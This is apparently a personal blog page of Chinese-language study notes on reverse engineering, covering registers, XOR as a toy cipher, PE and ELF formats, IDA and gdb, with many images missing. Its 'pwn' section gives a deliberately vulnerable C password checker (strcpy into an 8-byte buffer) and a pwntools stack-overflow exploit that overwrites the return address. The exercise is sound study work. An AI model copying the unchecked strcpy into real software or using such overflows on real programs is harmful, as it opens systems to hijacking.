逆向基础

date
Aug 5, 2021 12:17 PM
Related to 日程数据 1 (blog)
tags
Website
slug
re
summary
ida od
 
 
notion image
notion image
notion image
改变EIP的值
notion image
标志寄存器
jnz
 
汇编指令
notion image
在内存中只有长度和地址
没有数据类型
lea 装载地址
notion image
notion image
加密用法
5^6
3
还原
3^5
6
5^6^6
5
上面的6可以是密钥 即加密解密
notion image
notion image
伪代码
notion image
汇编
notion image

文件结构

pe(windows)和elf(linux)
都是coff格式(unix)的变种
 
 
bash里file一下即可看到格式类型
 
notion image
notion image
notion image
notion image
 
od只支持windows的32位程序的调试
逆向的知识面太广
使用搜索引擎能事半功倍
notion image
 

工具的使用

IDA使用
notion image
notion image
notion image
 

pwn

#include<stdio.h>
#include<string.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
	int authenticated;
	char buffer[8];

	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);
	return authenticated;
}
void con()
{
	printf ("COngartulation!i\n"); 

}
void main()
{
	int valid_flag=0;
	char password[1024];
	while(1)
	{
		printf("please input password:\n");
		scanf("%s",password);
		valid_flag=verify_password(password);
		if(valid_flag)
		{
			printf("incorrect password!\n");
		}
		else
		{
			con();
			break;
		}

	}

}
 
gdb
from pwn import *

context(log_level="debug")     #显示日志
#0x08049211  为main函数的起始值
ret=0x080491e6  #verify_password的返回地址

payload=b"a"*(24)+p32(ret)+p32(0x08049211)   #这个偏移长度就是返回地址减去局部变量地址
p=process('./pass')
print (p.recv())
pause()
p.send(payload)
p.interactive()
命令格式 x/nfu <addr> 参数解释 n,表示要显示的内存单元的个数 f,表示显示方式, 可取如下值: x 按十六进制格式显示变量 d 按十进制格式显示变量 u 按十进制格式显示无符号整型 o 按八进制格式显示变量 t 按二进制格式显示变量 a 按十六进制格式显示变量 i 指令地址格式 c 按字符格式显示变量 f 按浮点数格式显示变量 u,表示一个地址单元的长度: b 表示单字节 h 表示双字节 w 表示四字节 g 表示八字节
notion image
 
日常翻车
 
 

逆向

 
 
 
 
 
 

© lewoking 2021 - 2022